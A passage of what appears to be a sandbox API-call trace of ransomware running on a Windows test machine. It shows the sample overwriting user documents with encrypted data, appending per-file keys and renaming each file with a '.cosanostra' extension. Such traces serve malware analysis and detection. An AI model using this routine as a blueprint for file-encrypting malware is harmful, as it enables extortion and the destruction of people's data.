"c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0097.870] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url") returned 70 [0097.870] StrStrW (lpFirst="MSN Money.url", lpSrch=".txt") returned 0x0 [0097.871] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffff7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.871] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26ff37c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff37c*=0x85, lpOverlapped=0x0) returned 1 [0097.871] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.871] WriteFile (in: hFile=0x160, lpBuffer=0x26ff3bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff37c, lpOverlapped=0x0 | out: lpBuffer=0x26ff3bc*, lpNumberOfBytesWritten=0x26ff37c*=0x4, lpOverlapped=0x0) returned 1 [0097.871] WriteFile (in: hFile=0x160, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff37c, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x26ff37c*=0x30, lpOverlapped=0x0) returned 1 [0097.871] CloseHandle (hObject=0x160) returned 1 [0097.871] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url.cosanostra") returned 81 [0097.871] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url.cosanostra")) returned 1 [0097.872] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff3c0 | out: pbBuffer=0x26ff3c0) returned 1 [0097.872] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x26ff3b8*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x26ff3b8*=0x30) returned 1 [0097.872] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0097.874] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url") returned 78 [0097.874] StrStrW (lpFirst="MSN Entertainment.url", lpSrch=".txt") returned 0x0 [0097.874] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffff7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.874] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26ff37c, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff37c*=0x85, lpOverlapped=0x0) returned 1 [0097.874] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.875] WriteFile (in: hFile=0x160, lpBuffer=0x26ff3bc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff37c, lpOverlapped=0x0 | out: lpBuffer=0x26ff3bc*, lpNumberOfBytesWritten=0x26ff37c*=0x4, lpOverlapped=0x0) returned 1 [0097.875] WriteFile (in: hFile=0x160, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff37c, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x26ff37c*=0x30, lpOverlapped=0x0) returned 1 [0097.875] CloseHandle (hObject=0x160) returned 1 [0097.875] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url.cosanostra") returned 89 [0097.875] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url.cosanostra")) returned 1 [0097.876] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff3b8 | out: pbBuffer=0x26ff3b8) returned 1 [0097.876] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x26ff3b0*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x26ff3b0*=0x30) returned 1 [0097.876] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0097.876] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url") returned 70 [0097.876] StrStrW (lpFirst="MSN Autos.url", lpSrch=".txt") returned 0x0 [0097.877] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffff7b, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.877] WriteFile (in: hFile=0x160, lpBuffer=0x3061d88*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26ff374, lpOverlapped=0x0 | out: lpBuffer=0x3061d88*, lpNumberOfBytesWritten=0x26ff374*=0x85, lpOverlapped=0x0) returned 1 [0097.877] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.877] WriteFile (in: hFile=0x160, lpBuffer=0x26ff3b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff374, lpOverlapped=0x0 | out: lpBuffer=0x26ff3b4*, lpNumberOfBytesWritten=0x26ff374*=0x4, lpOverlapped=0x0) returned 1 [0097.877] WriteFile (in: hFile=0x160, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff374, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x26ff374*=0x30, lpOverlapped=0x0) returned 1 [0097.877] CloseHandle (hObject=0x160) returned 1 [0097.877] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url.cosanostra") returned 81 [0097.878] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url.cosanostra")) returned 1 [0097.935] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff3b8 | out: pbBuffer=0x26ff3b8) returned 1 [0097.935] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c938*, pdwDataLen=0x26ff3b0*=0x20, dwBufLen=0x30 | out: pbData=0x27c938*, pdwDataLen=0x26ff3b0*=0x30) returned 1 [0097.935] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\O bs8cQVMLDS_.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\o bs8cqvmlds_.xlsx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x160 [0097.936] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\O bs8cQVMLDS_.xlsx") returned 62 [0097.936] StrStrW (lpFirst="O bs8cQVMLDS_.xlsx", lpSrch=".txt") returned 0x0 [0097.936] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.936] WriteFile (in: hFile=0x160, lpBuffer=0x3059f70*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff374, lpOverlapped=0x0 | out: lpBuffer=0x3059f70*, lpNumberOfBytesWritten=0x26ff374*=0x2800, lpOverlapped=0x0) returned 1 [0097.937] SetFilePointerEx (in: hFile=0x160, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.937] WriteFile (in: hFile=0x160, lpBuffer=0x26ff3b4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff374, lpOverlapped=0x0 | out: lpBuffer=0x26ff3b4*, lpNumberOfBytesWritten=0x26ff374*=0x4, lpOverlapped=0x0) returned 1 [0097.937] WriteFile (in: hFile=0x160, lpBuffer=0x27c938*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff374, lpOverlapped=0x0 | out: lpBuffer=0x27c938*, lpNumberOfBytesWritten=0x26ff374*=0x30, lpOverlapped=0x0) returned 1 [0097.937] CloseHandle (hObject=0x160) returned 1 [0097.937] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\O bs8cQVMLDS_.xlsx.cosanostra") returned 73 [0097.937] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\O bs8cQVMLDS_.xlsx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\o bs8cqvmlds_.xlsx"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\O bs8cQVMLDS_.xlsx.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\o bs8cqvmlds_.xlsx.cosanostra")) returned 1 [0097.949] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff3b0 | out: pbBuffer=0x26ff3b0) returned 1 [0097.949] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff3a8*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff3a8*=0x30) returned 1 [0097.949] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0097.950] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico") returned 73 [0097.950] StrStrW (lpFirst="folder.ico", lpSrch=".txt") returned 0x0 [0097.978] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0097.978] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff36c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff36c*=0x2800, lpOverlapped=0x0) returned 1 [0097.978] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0097.978] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff3ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff36c, lpOverlapped=0x0 | out: lpBuffer=0x26ff3ac*, lpNumberOfBytesWritten=0x26ff36c*=0x4, lpOverlapped=0x0) returned 1 [0098.003] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff36c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff36c*=0x30, lpOverlapped=0x0) returned 1 [0098.003] CloseHandle (hObject=0x15c) returned 1 [0098.003] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico.cosanostra") returned 84 [0098.004] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\My Shapes\\_private\\folder.ico.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\my shapes\\_private\\folder.ico.cosanostra")) returned 1 [0098.004] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff3a8 | out: pbBuffer=0x26ff3a8) returned 1 [0098.004] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff3a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff3a0*=0x30) returned 1 [0098.005] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\heHY2wufkXw\\9whwI\\G-IYn1XIuXkcmOo.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hehy2wufkxw\\9whwi\\g-iyn1xiuxkcmoo.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0098.005] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\heHY2wufkXw\\9whwI\\G-IYn1XIuXkcmOo.pptx") returned 82 [0098.005] StrStrW (lpFirst="G-IYn1XIuXkcmOo.pptx", lpSrch=".txt") returned 0x0 [0098.007] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.007] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff364, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff364*=0x2800, lpOverlapped=0x0) returned 1 [0098.007] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.007] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff3a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff364, lpOverlapped=0x0 | out: lpBuffer=0x26ff3a4*, lpNumberOfBytesWritten=0x26ff364*=0x4, lpOverlapped=0x0) returned 1 [0098.008] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff364, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff364*=0x30, lpOverlapped=0x0) returned 1 [0098.008] CloseHandle (hObject=0x15c) returned 1 [0098.008] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\heHY2wufkXw\\9whwI\\G-IYn1XIuXkcmOo.pptx.cosanostra") returned 93 [0098.008] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\heHY2wufkXw\\9whwI\\G-IYn1XIuXkcmOo.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hehy2wufkxw\\9whwi\\g-iyn1xiuxkcmoo.pptx"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\heHY2wufkXw\\9whwI\\G-IYn1XIuXkcmOo.pptx.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hehy2wufkxw\\9whwi\\g-iyn1xiuxkcmoo.pptx.cosanostra")) returned 1 [0098.009] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff3a8 | out: pbBuffer=0x26ff3a8) returned 1 [0098.009] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff3a0*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff3a0*=0x30) returned 1 [0098.009] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\heHY2wufkXw\\9whwI\\EpikoZYUQwTT.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hehy2wufkxw\\9whwi\\epikozyuqwtt.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0098.009] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\heHY2wufkXw\\9whwI\\EpikoZYUQwTT.pptx") returned 79 [0098.009] StrStrW (lpFirst="EpikoZYUQwTT.pptx", lpSrch=".txt") returned 0x0 [0098.010] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.010] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff364, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff364*=0x2800, lpOverlapped=0x0) returned 1 [0098.010] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.011] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff3a4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff364, lpOverlapped=0x0 | out: lpBuffer=0x26ff3a4*, lpNumberOfBytesWritten=0x26ff364*=0x4, lpOverlapped=0x0) returned 1 [0098.011] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff364, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff364*=0x30, lpOverlapped=0x0) returned 1 [0098.011] CloseHandle (hObject=0x15c) returned 1 [0098.011] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\heHY2wufkXw\\9whwI\\EpikoZYUQwTT.pptx.cosanostra") returned 90 [0098.011] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\heHY2wufkXw\\9whwI\\EpikoZYUQwTT.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hehy2wufkxw\\9whwi\\epikozyuqwtt.pptx"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\heHY2wufkXw\\9whwI\\EpikoZYUQwTT.pptx.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hehy2wufkxw\\9whwi\\epikozyuqwtt.pptx.cosanostra")) returned 1 [0098.012] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff3a0 | out: pbBuffer=0x26ff3a0) returned 1 [0098.012] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff398*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff398*=0x30) returned 1 [0098.012] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\heHY2wufkXw\\9whwI\\-JFfznKYogFx8.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hehy2wufkxw\\9whwi\\-jffznkyogfx8.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0098.012] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\heHY2wufkXw\\9whwI\\-JFfznKYogFx8.rtf") returned 79 [0098.012] StrStrW (lpFirst="-JFfznKYogFx8.rtf", lpSrch=".txt") returned 0x0 [0098.013] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.013] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff35c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff35c*=0x2800, lpOverlapped=0x0) returned 1 [0098.014] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.014] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff39c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff35c, lpOverlapped=0x0 | out: lpBuffer=0x26ff39c*, lpNumberOfBytesWritten=0x26ff35c*=0x4, lpOverlapped=0x0) returned 1 [0098.014] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff35c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff35c*=0x30, lpOverlapped=0x0) returned 1 [0098.014] CloseHandle (hObject=0x15c) returned 1 [0098.014] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\heHY2wufkXw\\9whwI\\-JFfznKYogFx8.rtf.cosanostra") returned 90 [0098.014] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\heHY2wufkXw\\9whwI\\-JFfznKYogFx8.rtf" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hehy2wufkxw\\9whwi\\-jffznkyogfx8.rtf"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\heHY2wufkXw\\9whwI\\-JFfznKYogFx8.rtf.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\hehy2wufkxw\\9whwi\\-jffznkyogfx8.rtf.cosanostra")) returned 1 [0098.016] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff3a0 | out: pbBuffer=0x26ff3a0) returned 1 [0098.017] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff398*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff398*=0x30) returned 1 [0098.017] CreateFileW (lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gc_TwTF-0RSZQl8XJgw.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gc_twtf-0rszql8xjgw.pptx"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x15c [0098.017] lstrlenW (lpString="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gc_TwTF-0RSZQl8XJgw.pptx") returned 68 [0098.017] StrStrW (lpFirst="gc_TwTF-0RSZQl8XJgw.pptx", lpSrch=".txt") returned 0x0 [0098.018] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0xffffd800, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0098.018] WriteFile (in: hFile=0x15c, lpBuffer=0x305f380*, nNumberOfBytesToWrite=0x2800, lpNumberOfBytesWritten=0x26ff35c, lpOverlapped=0x0 | out: lpBuffer=0x305f380*, lpNumberOfBytesWritten=0x26ff35c*=0x2800, lpOverlapped=0x0) returned 1 [0098.018] SetFilePointerEx (in: hFile=0x15c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0098.018] WriteFile (in: hFile=0x15c, lpBuffer=0x26ff39c*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x26ff35c, lpOverlapped=0x0 | out: lpBuffer=0x26ff39c*, lpNumberOfBytesWritten=0x26ff35c*=0x4, lpOverlapped=0x0) returned 1 [0098.019] WriteFile (in: hFile=0x15c, lpBuffer=0x27c9b0*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x26ff35c, lpOverlapped=0x0 | out: lpBuffer=0x27c9b0*, lpNumberOfBytesWritten=0x26ff35c*=0x30, lpOverlapped=0x0) returned 1 [0098.019] CloseHandle (hObject=0x15c) returned 1 [0098.019] wnsprintfW (in: pszDest=0x267fb0, cchDest=32767, pszFmt="%s%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gc_TwTF-0RSZQl8XJgw.pptx.cosanostra") returned 79 [0098.019] MoveFileW (lpExistingFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gc_TwTF-0RSZQl8XJgw.pptx" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gc_twtf-0rszql8xjgw.pptx"), lpNewFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\Documents\\gc_TwTF-0RSZQl8XJgw.pptx.cosanostra" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\documents\\gc_twtf-0rszql8xjgw.pptx.cosanostra")) returned 1 [0098.021] CryptGenRandom (in: hProv=0x215d98, dwLen=0x20, pbBuffer=0x26ff398 | out: pbBuffer=0x26ff398) returned 1 [0098.021] CryptEncrypt (in: hKey=0x214d58, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x27c9b0*, pdwDataLen=0x26ff390*=0x20, dwBufLen=0x30 | out: pbData=0x27c9b0*, pdwDataLen=0x26ff390*=0x30) returned 1 [0098.021] CreateFileW 